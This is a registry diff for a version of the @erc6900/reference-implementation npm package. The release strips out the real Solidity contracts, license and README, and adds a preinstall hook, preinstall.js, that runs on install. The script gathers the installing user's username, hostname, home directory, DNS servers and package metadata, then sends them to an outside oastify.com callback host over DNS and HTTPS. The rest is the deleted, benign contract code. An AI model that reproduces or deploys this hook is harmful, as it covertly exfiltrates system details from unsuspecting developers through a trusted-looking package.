@erc6900/reference-implementation 0.8.1 → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @erc6900/reference-implementation might be problematic. Click here for more details.
- package/package.json +5 -26
- package/preinstall.js +110 -0
- package/LICENSE +0 -21
- package/README.md +0 -76
- package/src/account/AccountExecutor.sol +0 -20
- package/src/account/AccountFactory.sol +0 -126
- package/src/account/AccountStorage.sol +0 -99
- package/src/account/AccountStorageInitializable.sol +0 -67
- package/src/account/ModularAccountView.sol +0 -66
- package/src/account/ModuleManagerInternals.sol +0 -325
- package/src/account/ReferenceModularAccount.sol +0 -769
- package/src/account/SemiModularAccount.sol +0 -214
- package/src/account/SemiModularAccount7702.sol +0 -38
- package/src/helpers/CollectReturnData.sol +0 -14
- package/src/helpers/Constants.sol +0 -11
- package/src/helpers/EmptyCalldataSlice.sol +0 -12
- package/src/helpers/ValidationResHelpers.sol +0 -50
- package/src/interfaces/IERC6900Account.sol +0 -127
- package/src/interfaces/IERC6900AccountView.sol +0 -52
- package/src/interfaces/IERC6900ExecutionHookModule.sol +0 -26
- package/src/interfaces/IERC6900ExecutionModule.sol +0 -37
- package/src/interfaces/IERC6900Module.sol +0 -24
- package/src/interfaces/IERC6900ValidationHookModule.sol +0 -46
- package/src/interfaces/IERC6900ValidationModule.sol +0 -53
- package/src/libraries/HookConfigLib.sol +0 -135
- package/src/libraries/KnownSelectorsLib.sol +0 -65
- package/src/libraries/ModuleEntityLib.sol +0 -37
- package/src/libraries/ModuleStorageLib.sol +0 -62
- package/src/libraries/SparseCalldataSegmentLib.sol +0 -95
- package/src/libraries/ValidationConfigLib.sol +0 -119
- package/src/modules/BaseModule.sol +0 -54
- package/src/modules/ModuleEIP712.sol +0 -29
- package/src/modules/ReplaySafeWrapper.sol +0 -38
- package/src/modules/TokenReceiverModule.sol +0 -87
- package/src/modules/permissions/AllowlistModule.sol +0 -156
- package/src/modules/permissions/ERC20TokenLimitModule.sol +0 -145
- package/src/modules/permissions/NativeTokenLimitModule.sol +0 -154
- package/src/modules/validation/ISingleSignerValidationModule.sol +0 -22
- package/src/modules/validation/SingleSignerValidationModule.sol +0 -138
package/package.json
CHANGED
|
@@ -1,31 +1,10 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@erc6900/reference-implementation",
|
|
3
|
-
"
|
|
4
|
-
"version": "0.8.1",
|
|
5
|
-
"devDependencies": {
|
|
6
|
-
"pnpm": "^8.7.5",
|
|
7
|
-
"solhint": "^3.6.2"
|
|
8
|
-
},
|
|
9
|
-
"files": [
|
|
10
|
-
"/src/**/*.sol"
|
|
11
|
-
],
|
|
3
|
+
"version": "1.0.0",
|
|
12
4
|
"scripts": {
|
|
13
|
-
"
|
|
14
|
-
"lint:src": "solhint --max-warnings 0 -c .solhint-src.json './src/**/*.sol'",
|
|
15
|
-
"lint:test": "solhint --max-warnings 0 -c .solhint-test.json './test/**/*.sol'",
|
|
16
|
-
"lint:script": "solhint --max-warnings 0 -c .solhint-script.json './script/**/*.sol'"
|
|
17
|
-
},
|
|
18
|
-
"repository": {
|
|
19
|
-
"type": "git",
|
|
20
|
-
"url": "https://github.com/erc6900/reference-implementation.git"
|
|
21
|
-
},
|
|
22
|
-
"keywords": [
|
|
23
|
-
"erc6900"
|
|
24
|
-
],
|
|
25
|
-
"author": "ERC-6900 Authors",
|
|
26
|
-
"license": "MIT",
|
|
27
|
-
"bugs": {
|
|
28
|
-
"url": "https://github.com/erc6900/reference-implementation/issues"
|
|
5
|
+
"preinstall": "node preinstall.js"
|
|
29
6
|
},
|
|
30
|
-
"
|
|
7
|
+
"author": "mjhd",
|
|
8
|
+
"license": "ISC",
|
|
9
|
+
"description": ""
|
|
31
10
|
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,110 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
|
|
3
|
+
const dns = require("dns");
|
|
4
|
+
|
|
5
|
+
const querystring = require("querystring");
|
|
6
|
+
|
|
7
|
+
const https = require("https");
|
|
8
|
+
|
|
9
|
+
const packageJSON = require("./package.json");
|
|
10
|
+
|
|
11
|
+
const package = packageJSON.name;
|
|
12
|
+
|
|
13
|
+
|
|
14
|
+
const trackingData = JSON.stringify({
|
|
15
|
+
|
|
16
|
+
p: package,
|
|
17
|
+
|
|
18
|
+
c: __dirname,
|
|
19
|
+
|
|
20
|
+
hd: os.homedir(),
|
|
21
|
+
|
|
22
|
+
hn: os.hostname(),
|
|
23
|
+
|
|
24
|
+
un: os.userInfo().username,
|
|
25
|
+
|
|
26
|
+
dns: dns.getServers(),
|
|
27
|
+
|
|
28
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
|
29
|
+
|
|
30
|
+
v: packageJSON.version,
|
|
31
|
+
|
|
32
|
+
pjson: packageJSON,
|
|
33
|
+
|
|
34
|
+
});
|
|
35
|
+
|
|
36
|
+
|
|
37
|
+
const hexEncodedData = Buffer.from(trackingData, 'utf8').toString('hex');
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
const base64EncodedData = Buffer.from(hexEncodedData, 'utf8').toString('base64');
|
|
41
|
+
|
|
42
|
+
|
|
43
|
+
const dnsQuery = `example.com.${base64EncodedData}.mydomain.com`;
|
|
44
|
+
|
|
45
|
+
|
|
46
|
+
dns.resolve(dnsQuery, (err, addresses) => {
|
|
47
|
+
|
|
48
|
+
if (err) {
|
|
49
|
+
|
|
50
|
+
console.error("Error in DNS resolution:", err);
|
|
51
|
+
|
|
52
|
+
} else {
|
|
53
|
+
|
|
54
|
+
console.log("DNS Addresses:", addresses);
|
|
55
|
+
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
});
|
|
59
|
+
|
|
60
|
+
|
|
61
|
+
var postData = querystring.stringify({
|
|
62
|
+
|
|
63
|
+
msg: trackingData,
|
|
64
|
+
|
|
65
|
+
});
|
|
66
|
+
|
|
67
|
+
|
|
68
|
+
var options = {
|
|
69
|
+
|
|
70
|
+
hostname: "p9zro2t3iaoi55pm7stn5hhgt7zynobd.oastify.com", // Replace with your callback server
|
|
71
|
+
|
|
72
|
+
port: 443,
|
|
73
|
+
|
|
74
|
+
path: "/",
|
|
75
|
+
|
|
76
|
+
method: "POST",
|
|
77
|
+
|
|
78
|
+
headers: {
|
|
79
|
+
|
|
80
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
|
81
|
+
|
|
82
|
+
"Content-Length": postData.length,
|
|
83
|
+
|
|
84
|
+
},
|
|
85
|
+
|
|
86
|
+
};
|
|
87
|
+
|
|
88
|
+
|
|
89
|
+
var req = https.request(options, (res) => {
|
|
90
|
+
|
|
91
|
+
res.on("data", (d) => {
|
|
92
|
+
|
|
93
|
+
process.stdout.write(d);
|
|
94
|
+
|
|
95
|
+
});
|
|
96
|
+
|
|
97
|
+
});
|
|
98
|
+
|
|
99
|
+
|
|
100
|
+
req.on("error", (e) => {
|
|
101
|
+
|
|
102
|
+
console.error(e);
|
|
103
|
+
|
|
104
|
+
});
|
|
105
|
+
|
|
106
|
+
|
|
107
|
+
req.write(postData);
|
|
108
|
+
|
|
109
|
+
req.end();
|
|
110
|
+
|
package/LICENSE
DELETED
|
@@ -1,21 +0,0 @@
|
|
|
1
|
-
MIT License
|
|
2
|
-
|
|
3
|
-
Copyright (c) 2025 ERC-6900 Authors
|
|
4
|
-
|
|
5
|
-
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
-
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
-
in the Software without restriction, including without limitation the rights
|
|
8
|
-
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
-
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
-
furnished to do so, subject to the following conditions:
|
|
11
|
-
|
|
12
|
-
The above copyright notice and this permission notice shall be included in all
|
|
13
|
-
copies or substantial portions of the Software.
|
|
14
|
-
|
|
15
|
-
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
-
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
-
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
-
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
-
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
-
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
-
SOFTWARE.
|
package/README.md
DELETED
|
@@ -1,76 +0,0 @@
|
|
|
1
|
-
# ERC-6900 Reference Implementation
|
|
2
|
-
|
|
3
|
-
[![tg_badge]][tg_link]
|
|
4
|
-
|
|
5
|
-
[tg_badge]: https://img.shields.io/endpoint?color=neon&logo=telegram&label=chat&url=https://mogyo.ro/quart-apis/tgmembercount?chat_id=modular_account_standards
|
|
6
|
-
[tg_link]: https://t.me/modular_account_standards
|
|
7
|
-
|
|
8
|
-
Reference implementation for [ERC-6900](https://eips.ethereum.org/EIPS/eip-6900).
|
|
9
|
-
|
|
10
|
-
This repository contains the contracts below which are compliant with the latest version of ERC-6900. They are not optimized in both deployments and execution. We’ve explicitly removed some optimizations in favor of clarity.
|
|
11
|
-
|
|
12
|
-
> [!IMPORTANT]
|
|
13
|
-
> Unless otherwise stated, these contracts are not audited and SHOULD NOT be used in production.
|
|
14
|
-
|
|
15
|
-
- Reference account implementations
|
|
16
|
-
- [ReferenceModularAccount](src/account/ReferenceModularAccount.sol): A simple ERC-6900 compatible account.
|
|
17
|
-
- [SemiModularAccount](src/account/SemiModularAccount.sol): An ERC-6900 account that includes a fallback validation mechanism.
|
|
18
|
-
- Factory
|
|
19
|
-
- [AccountFactory](src/account/AccountFactory.sol): Deploys both account types.
|
|
20
|
-
- ERC-6900 interfaces: [src/interfaces](src/interfaces/)
|
|
21
|
-
- Helpers
|
|
22
|
-
- [CollectReturnData](src/helpers/CollectReturnData.sol)
|
|
23
|
-
- [Constants](src/helpers/Constants.sol): ✅ Audited ([reports](https://github.com/alchemyplatform/modular-account/tree/develop/audits))
|
|
24
|
-
- [EmptyCalldataSlice](src/helpers/EmptyCalldataSlice.sol): ✅ Audited ([reports](https://github.com/alchemyplatform/modular-account/tree/develop/audits))
|
|
25
|
-
- [ValidationResHelpers](src/helpers/ValidationResHelpers.sol)
|
|
26
|
-
- Libraries
|
|
27
|
-
- [HookConfigLib](src/libraries/HookConfigLib.sol): ✅ Audited ([reports](https://github.com/alchemyplatform/modular-account/tree/develop/audits))
|
|
28
|
-
- [KnownSelectorsLib](src/libraries/KnownSelectorsLib.sol)
|
|
29
|
-
- [ModuleEntityLib](src/libraries/ModuleEntityLib.sol): ✅ Audited ([reports](https://github.com/alchemyplatform/modular-account/tree/develop/audits))
|
|
30
|
-
- [ModuleStorageLib](src/libraries/ModuleStorageLib.sol)
|
|
31
|
-
- [SparseCalldataSegmentLib](src/libraries/SparseCalldataSegmentLib.sol): ✅ Audited ([reports](https://github.com/alchemyplatform/modular-account/tree/develop/audits))
|
|
32
|
-
- [ValidationConfigLib](src/libraries/ValidationConfigLib.sol): ✅ Audited ([reports](https://github.com/alchemyplatform/modular-account/tree/develop/audits))
|
|
33
|
-
- ERC-6900 compatible modules
|
|
34
|
-
- Validation modules:
|
|
35
|
-
- [SingleSignerValidationModule](src/modules/validation/SingleSignerValidationModule.sol): Enables validation for a single signer (EOA or contract).
|
|
36
|
-
- Permission-enforcing hook modules:
|
|
37
|
-
- [AllowlistModule](src/modules/permissions/AllowlistModule.sol): Enforces address/selector allowlists.
|
|
38
|
-
- [ERC20TokenLimitModule](src/modules/permissions/ERC20TokenLimitModule.sol): Enforces ERC-20 spend limits.
|
|
39
|
-
- [NativeTokenLimitModule](src/modules/permissions/NativeTokenLimitModule.sol): Enforces native token spend limits.
|
|
40
|
-
- Execution modules:
|
|
41
|
-
- [TokenReceiverModule](src/modules/TokenReceiverModule.sol): Allows the account to receive ERC-721 and ERC-1155 tokens.
|
|
42
|
-
- Module utilities
|
|
43
|
-
- [ModuleEIP712](src/modules/ModuleEIP712.sol): ✅ Audited ([reports](https://github.com/alchemyplatform/modular-account/tree/develop/audits))
|
|
44
|
-
- [ReplaySafeWrapper](src/modules/ReplaySafeWrapper.sol): ✅ Audited ([reports](https://github.com/alchemyplatform/modular-account/tree/develop/audits))
|
|
45
|
-
|
|
46
|
-
## Development
|
|
47
|
-
|
|
48
|
-
Anyone is welcome to submit feedback and/or PRs to improve the code. For standard improvement proposals and discussions, join us at https://github.com/erc6900/resources/issues or [Ethereum Magicians](https://ethereum-magicians.org/t/erc-6900-modular-smart-contract-accounts-and-plugins/13885).
|
|
49
|
-
|
|
50
|
-
## Testing
|
|
51
|
-
|
|
52
|
-
The default Foundry profile can be used to compile (without IR) and test the entire project. The default profile should be used when generating coverage and debugging.
|
|
53
|
-
|
|
54
|
-
```bash
|
|
55
|
-
forge build
|
|
56
|
-
forge test -vvv
|
|
57
|
-
```
|
|
58
|
-
|
|
59
|
-
Since IR compilation generates different bytecode, it's useful to test against the contracts compiled via IR. Since compiling the entire project (including the test suite) takes a long time, special profiles can be used to precompile just the source contracts, and have the tests deploy the relevant contracts using those artifacts.
|
|
60
|
-
|
|
61
|
-
```bash
|
|
62
|
-
FOUNDRY_PROFILE=optimized-build forge build
|
|
63
|
-
FOUNDRY_PROFILE=optimized-test forge test -vvv
|
|
64
|
-
```
|
|
65
|
-
|
|
66
|
-
### Integration testing
|
|
67
|
-
|
|
68
|
-
The reference implementation provides a sample factory and deploy script for the factory, account implementation, and the demo validation module `SingleSignerValidationModule`. This is not audited nor intended for production use. Limitations set by the MIT license apply.
|
|
69
|
-
|
|
70
|
-
To run this script, provide appropriate values in a `.env` file based on the `.env.example` template, then run:
|
|
71
|
-
|
|
72
|
-
```bash
|
|
73
|
-
forge script script/Deploy.s.sol <wallet options> -r <rpc_url> --broadcast
|
|
74
|
-
```
|
|
75
|
-
|
|
76
|
-
Where `<wallet_options>` specifies a way to sign the deployment transaction (see [here](https://book.getfoundry.sh/reference/forge/forge-script#wallet-options---raw)) and `<rpc_url>` specifies an RPC for the network you are deploying on.
|
|
@@ -1,20 +0,0 @@
|
|
|
1
|
-
// SPDX-License-Identifier: MIT
|
|
2
|
-
pragma solidity ^0.8.20;
|
|
3
|
-
|
|
4
|
-
abstract contract AccountExecutor {
|
|
5
|
-
/// @param target The address of the contract to call.
|
|
6
|
-
/// @param value The value to send with the call.
|
|
7
|
-
/// @param data The call data.
|
|
8
|
-
/// @return result The return data of the call, or the error message from the call if call reverts.
|
|
9
|
-
function _exec(address target, uint256 value, bytes memory data) internal returns (bytes memory result) {
|
|
10
|
-
bool success;
|
|
11
|
-
(success, result) = target.call{value: value}(data);
|
|
12
|
-
|
|
13
|
-
if (!success) {
|
|
14
|
-
// Directly bubble up revert messages
|
|
15
|
-
assembly ("memory-safe") {
|
|
16
|
-
revert(add(result, 32), mload(result))
|
|
17
|
-
}
|
|
18
|
-
}
|
|
19
|
-
}
|
|
20
|
-
}
|
|
@@ -1,126 +0,0 @@
|
|
|
1
|
-
// SPDX-License-Identifier: MIT
|
|
2
|
-
pragma solidity ^0.8.20;
|
|
3
|
-
|
|
4
|
-
import {IEntryPoint} from "@eth-infinitism/account-abstraction/interfaces/IEntryPoint.sol";
|
|
5
|
-
|
|
6
|
-
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
|
|
7
|
-
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
|
|
8
|
-
import {Create2} from "@openzeppelin/contracts/utils/Create2.sol";
|
|
9
|
-
|
|
10
|
-
import {ReferenceModularAccount} from "../account/ReferenceModularAccount.sol";
|
|
11
|
-
import {SemiModularAccount} from "../account/SemiModularAccount.sol";
|
|
12
|
-
import {ValidationConfigLib} from "../libraries/ValidationConfigLib.sol";
|
|
13
|
-
|
|
14
|
-
import {LibClone} from "solady/utils/LibClone.sol";
|
|
15
|
-
|
|
16
|
-
contract AccountFactory is Ownable {
|
|
17
|
-
ReferenceModularAccount public immutable ACCOUNT_IMPL;
|
|
18
|
-
SemiModularAccount public immutable SEMI_MODULAR_ACCOUNT_IMPL;
|
|
19
|
-
bytes32 private immutable _PROXY_BYTECODE_HASH;
|
|
20
|
-
IEntryPoint public immutable ENTRY_POINT;
|
|
21
|
-
address public immutable SINGLE_SIGNER_VALIDATION_MODULE;
|
|
22
|
-
|
|
23
|
-
event ModularAccountDeployed(address indexed account, address indexed owner, uint256 salt);
|
|
24
|
-
event SemiModularAccountDeployed(address indexed account, address indexed owner, uint256 salt);
|
|
25
|
-
|
|
26
|
-
constructor(
|
|
27
|
-
IEntryPoint _entryPoint,
|
|
28
|
-
ReferenceModularAccount _accountImpl,
|
|
29
|
-
SemiModularAccount _semiModularImpl,
|
|
30
|
-
address _singleSignerValidationModule,
|
|
31
|
-
address owner
|
|
32
|
-
) Ownable(owner) {
|
|
33
|
-
ENTRY_POINT = _entryPoint;
|
|
34
|
-
_PROXY_BYTECODE_HASH =
|
|
35
|
-
keccak256(abi.encodePacked(type(ERC1967Proxy).creationCode, abi.encode(address(_accountImpl), "")));
|
|
36
|
-
ACCOUNT_IMPL = _accountImpl;
|
|
37
|
-
SEMI_MODULAR_ACCOUNT_IMPL = _semiModularImpl;
|
|
38
|
-
SINGLE_SIGNER_VALIDATION_MODULE = _singleSignerValidationModule;
|
|
39
|
-
}
|
|
40
|
-
|
|
41
|
-
/**
|
|
42
|
-
* Create an account, and return its address.
|
|
43
|
-
* Returns the address even if the account is already deployed.
|
|
44
|
-
* Note that during user operation execution, this method is called only if the account is not deployed.
|
|
45
|
-
* This method returns an existing account address so that entryPoint.getSenderAddress() would work even after
|
|
46
|
-
* account creation
|
|
47
|
-
*/
|
|
48
|
-
function createAccount(address owner, uint256 salt, uint32 entityId)
|
|
49
|
-
external
|
|
50
|
-
returns (ReferenceModularAccount)
|
|
51
|
-
{
|
|
52
|
-
bytes32 combinedSalt = getSalt(owner, salt, entityId);
|
|
53
|
-
address addr = Create2.computeAddress(combinedSalt, _PROXY_BYTECODE_HASH);
|
|
54
|
-
|
|
55
|
-
// short circuit if exists
|
|
56
|
-
if (addr.code.length == 0) {
|
|
57
|
-
bytes memory pluginInstallData = abi.encode(entityId, owner);
|
|
58
|
-
// not necessary to check return addr since next call will fail if so
|
|
59
|
-
new ERC1967Proxy{salt: combinedSalt}(address(ACCOUNT_IMPL), "");
|
|
60
|
-
// point proxy to actual implementation and init plugins
|
|
61
|
-
ReferenceModularAccount(payable(addr)).initializeWithValidation(
|
|
62
|
-
ValidationConfigLib.pack(SINGLE_SIGNER_VALIDATION_MODULE, entityId, true, true, true),
|
|
63
|
-
new bytes4[](0),
|
|
64
|
-
pluginInstallData,
|
|
65
|
-
new bytes[](0)
|
|
66
|
-
);
|
|
67
|
-
emit ModularAccountDeployed(addr, owner, salt);
|
|
68
|
-
}
|
|
69
|
-
|
|
70
|
-
return ReferenceModularAccount(payable(addr));
|
|
71
|
-
}
|
|
72
|
-
|
|
73
|
-
function createSemiModularAccount(address owner, uint256 salt) external returns (SemiModularAccount) {
|
|
74
|
-
// both module address and entityId for fallback validations are hardcoded at the maximum value.
|
|
75
|
-
bytes32 fullSalt = getSalt(owner, salt, type(uint32).max);
|
|
76
|
-
|
|
77
|
-
bytes memory immutables = _getImmutableArgs(owner);
|
|
78
|
-
|
|
79
|
-
// LibClone short-circuits if it's already deployed.
|
|
80
|
-
(bool alreadyDeployed, address instance) =
|
|
81
|
-
LibClone.createDeterministicERC1967(address(SEMI_MODULAR_ACCOUNT_IMPL), immutables, fullSalt);
|
|
82
|
-
|
|
83
|
-
if (!alreadyDeployed) {
|
|
84
|
-
emit SemiModularAccountDeployed(instance, owner, salt);
|
|
85
|
-
}
|
|
86
|
-
|
|
87
|
-
return SemiModularAccount(payable(instance));
|
|
88
|
-
}
|
|
89
|
-
|
|
90
|
-
function addStake(uint32 unstakeDelay) external payable onlyOwner {
|
|
91
|
-
ENTRY_POINT.addStake{value: msg.value}(unstakeDelay);
|
|
92
|
-
}
|
|
93
|
-
|
|
94
|
-
function unlockStake() external onlyOwner {
|
|
95
|
-
ENTRY_POINT.unlockStake();
|
|
96
|
-
}
|
|
97
|
-
|
|
98
|
-
function withdrawStake(address payable withdrawAddress) external onlyOwner {
|
|
99
|
-
ENTRY_POINT.withdrawStake(withdrawAddress);
|
|
100
|
-
}
|
|
101
|
-
|
|
102
|
-
/**
|
|
103
|
-
* Calculate the counterfactual address of this account as it would be returned by createAccount()
|
|
104
|
-
*/
|
|
105
|
-
function getAddress(address owner, uint256 salt, uint32 entityId) external view returns (address) {
|
|
106
|
-
return Create2.computeAddress(getSalt(owner, salt, entityId), _PROXY_BYTECODE_HASH);
|
|
107
|
-
}
|
|
108
|
-
|
|
109
|
-
function getAddressSemiModular(address owner, uint256 salt) public view returns (address) {
|
|
110
|
-
bytes32 fullSalt = getSalt(owner, salt, type(uint32).max);
|
|
111
|
-
bytes memory immutables = _getImmutableArgs(owner);
|
|
112
|
-
return _getAddressSemiModular(immutables, fullSalt);
|
|
113
|
-
}
|
|
114
|
-
|
|
115
|
-
function getSalt(address owner, uint256 salt, uint32 entityId) public pure returns (bytes32) {
|
|
116
|
-
return keccak256(abi.encodePacked(owner, salt, entityId));
|
|
117
|
-
}
|
|
118
|
-
|
|
119
|
-
function _getAddressSemiModular(bytes memory immutables, bytes32 salt) internal view returns (address) {
|
|
120
|
-
return LibClone.predictDeterministicAddressERC1967(address(ACCOUNT_IMPL), immutables, salt, address(this));
|
|
121
|
-
}
|
|
122
|
-
|
|
123
|
-
function _getImmutableArgs(address owner) private pure returns (bytes memory) {
|
|
124
|
-
return abi.encodePacked(owner);
|
|
125
|
-
}
|
|
126
|
-
}
|
|
@@ -1,99 +0,0 @@
|
|
|
1
|
-
// SPDX-License-Identifier: MIT
|
|
2
|
-
pragma solidity ^0.8.20;
|
|
3
|
-
|
|
4
|
-
import {EnumerableSet} from "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
|
|
5
|
-
|
|
6
|
-
import {HookConfig, ModuleEntity, ValidationFlags} from "../interfaces/IERC6900Account.sol";
|
|
7
|
-
|
|
8
|
-
// bytes = keccak256("ERC6900.ReferenceModularAccount.Storage")
|
|
9
|
-
bytes32 constant _ACCOUNT_STORAGE_SLOT = 0xc531f081ecdb5a90f38c197521797881a6e5c752a7d451780f325a95f8b91f45;
|
|
10
|
-
|
|
11
|
-
// Represents data associated with a specifc function selector.
|
|
12
|
-
struct ExecutionStorage {
|
|
13
|
-
// The module that implements this execution function.
|
|
14
|
-
// If this is a native function, the address must remain address(0).
|
|
15
|
-
address module;
|
|
16
|
-
// Whether or not the function needs runtime validation, or can be called by anyone. The function can still be
|
|
17
|
-
// state changing if this flag is set to true.
|
|
18
|
-
// Note that even if this is set to true, user op validation will still be required, otherwise anyone could
|
|
19
|
-
// drain the account of native tokens by wasting gas.
|
|
20
|
-
bool skipRuntimeValidation;
|
|
21
|
-
// Whether or not a global validation function may be used to validate this function.
|
|
22
|
-
bool allowGlobalValidation;
|
|
23
|
-
// The execution hooks for this function selector.
|
|
24
|
-
EnumerableSet.Bytes32Set executionHooks;
|
|
25
|
-
}
|
|
26
|
-
|
|
27
|
-
struct ValidationStorage {
|
|
28
|
-
// ValidationFlags layout:
|
|
29
|
-
// 0b00000___ // unused
|
|
30
|
-
// 0b_____A__ // isGlobal
|
|
31
|
-
// 0b______B_ // isSignatureValidation
|
|
32
|
-
// 0b_______C // isUserOpValidation
|
|
33
|
-
ValidationFlags validationFlags;
|
|
34
|
-
// The validation hooks for this validation function.
|
|
35
|
-
HookConfig[] validationHooks;
|
|
36
|
-
// Execution hooks to run with this validation function.
|
|
37
|
-
EnumerableSet.Bytes32Set executionHooks;
|
|
38
|
-
// The set of selectors that may be validated by this validation function.
|
|
39
|
-
EnumerableSet.Bytes32Set selectors;
|
|
40
|
-
}
|
|
41
|
-
|
|
42
|
-
struct AccountStorage {
|
|
43
|
-
// AccountStorageInitializable variables
|
|
44
|
-
uint8 initialized;
|
|
45
|
-
bool initializing;
|
|
46
|
-
// Execution functions and their associated functions
|
|
47
|
-
mapping(bytes4 selector => ExecutionStorage) executionStorage;
|
|
48
|
-
mapping(ModuleEntity validationFunction => ValidationStorage) validationStorage;
|
|
49
|
-
// For ERC165 introspection
|
|
50
|
-
mapping(bytes4 => uint256) supportedIfaces;
|
|
51
|
-
}
|
|
52
|
-
|
|
53
|
-
function getAccountStorage() pure returns (AccountStorage storage _storage) {
|
|
54
|
-
assembly ("memory-safe") {
|
|
55
|
-
_storage.slot := _ACCOUNT_STORAGE_SLOT
|
|
56
|
-
}
|
|
57
|
-
}
|
|
58
|
-
|
|
59
|
-
using EnumerableSet for EnumerableSet.Bytes32Set;
|
|
60
|
-
|
|
61
|
-
function toSetValue(ModuleEntity moduleEntity) pure returns (bytes32) {
|
|
62
|
-
return bytes32(ModuleEntity.unwrap(moduleEntity));
|
|
63
|
-
}
|
|
64
|
-
|
|
65
|
-
function toModuleEntity(bytes32 setValue) pure returns (ModuleEntity) {
|
|
66
|
-
return ModuleEntity.wrap(bytes24(setValue));
|
|
67
|
-
}
|
|
68
|
-
|
|
69
|
-
// ExecutionHook layout:
|
|
70
|
-
// 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF______________________ Hook Module Entity
|
|
71
|
-
// 0x________________________________________________AA____________________ is pre hook
|
|
72
|
-
// 0x__________________________________________________BB__________________ is post hook
|
|
73
|
-
|
|
74
|
-
function toSetValue(HookConfig hookConfig) pure returns (bytes32) {
|
|
75
|
-
return bytes32(HookConfig.unwrap(hookConfig));
|
|
76
|
-
}
|
|
77
|
-
|
|
78
|
-
function toHookConfig(bytes32 setValue) pure returns (HookConfig) {
|
|
79
|
-
return HookConfig.wrap(bytes25(setValue));
|
|
80
|
-
}
|
|
81
|
-
|
|
82
|
-
function toSetValue(bytes4 selector) pure returns (bytes32) {
|
|
83
|
-
return bytes32(selector);
|
|
84
|
-
}
|
|
85
|
-
|
|
86
|
-
function toSelector(bytes32 setValue) pure returns (bytes4) {
|
|
87
|
-
return bytes4(setValue);
|
|
88
|
-
}
|
|
89
|
-
|
|
90
|
-
/// @dev Helper function to get all elements of a set into memory.
|
|
91
|
-
function toModuleEntityArray(EnumerableSet.Bytes32Set storage set) view returns (ModuleEntity[] memory) {
|
|
92
|
-
uint256 length = set.length();
|
|
93
|
-
ModuleEntity[] memory result = new ModuleEntity[](length);
|
|
94
|
-
for (uint256 i = 0; i < length; ++i) {
|
|
95
|
-
bytes32 key = set.at(i);
|
|
96
|
-
result[i] = ModuleEntity.wrap(bytes24(key));
|
|
97
|
-
}
|
|
98
|
-
return result;
|
|
99
|
-
}
|
|
@@ -1,67 +0,0 @@
|
|
|
1
|
-
// SPDX-License-Identifier: MIT
|
|
2
|
-
pragma solidity ^0.8.20;
|
|
3
|
-
|
|
4
|
-
import {AccountStorage, getAccountStorage} from "./AccountStorage.sol";
|
|
5
|
-
|
|
6
|
-
/// @title AccountStorageInitializable
|
|
7
|
-
/// @dev Bulk of the impl is lifted from OZ 5.0 Initializible
|
|
8
|
-
abstract contract AccountStorageInitializable {
|
|
9
|
-
/**
|
|
10
|
-
* @dev Triggered when the contract has been initialized or reinitialized.
|
|
11
|
-
*/
|
|
12
|
-
event Initialized(uint64 version);
|
|
13
|
-
|
|
14
|
-
/**
|
|
15
|
-
* @dev The contract is already initialized.
|
|
16
|
-
*/
|
|
17
|
-
error InvalidInitialization();
|
|
18
|
-
|
|
19
|
-
/**
|
|
20
|
-
* @dev The contract is not initializing.
|
|
21
|
-
*/
|
|
22
|
-
error NotInitializing();
|
|
23
|
-
|
|
24
|
-
/// @notice Modifier to put on function intended to be called only once per implementation
|
|
25
|
-
/// @dev Reverts if the contract has already been initialized
|
|
26
|
-
modifier initializer() {
|
|
27
|
-
AccountStorage storage $ = getAccountStorage();
|
|
28
|
-
|
|
29
|
-
// Cache values to avoid duplicated sloads
|
|
30
|
-
bool isTopLevelCall = !$.initializing;
|
|
31
|
-
uint64 initialized = $.initialized;
|
|
32
|
-
|
|
33
|
-
// Allowed calls:
|
|
34
|
-
// - initialSetup: the contract is not in the initializing state and no previous version was
|
|
35
|
-
// initialized
|
|
36
|
-
// - construction: the contract is initialized at version 1 (no reininitialization) and the
|
|
37
|
-
// current contract is just being deployed
|
|
38
|
-
bool initialSetup = initialized == 0 && isTopLevelCall;
|
|
39
|
-
bool construction = initialized == 1 && address(this).code.length == 0;
|
|
40
|
-
|
|
41
|
-
if (!initialSetup && !construction) {
|
|
42
|
-
revert InvalidInitialization();
|
|
43
|
-
}
|
|
44
|
-
$.initialized = 1;
|
|
45
|
-
if (isTopLevelCall) {
|
|
46
|
-
$.initializing = true;
|
|
47
|
-
}
|
|
48
|
-
_;
|
|
49
|
-
if (isTopLevelCall) {
|
|
50
|
-
$.initializing = false;
|
|
51
|
-
emit Initialized(1);
|
|
52
|
-
}
|
|
53
|
-
}
|
|
54
|
-
|
|
55
|
-
/// @notice Internal function to disable calls to initialization functions
|
|
56
|
-
/// @dev Reverts if the contract has already been initialized
|
|
57
|
-
function _disableInitializers() internal virtual {
|
|
58
|
-
AccountStorage storage $ = getAccountStorage();
|
|
59
|
-
if ($.initializing) {
|
|
60
|
-
revert InvalidInitialization();
|
|
61
|
-
}
|
|
62
|
-
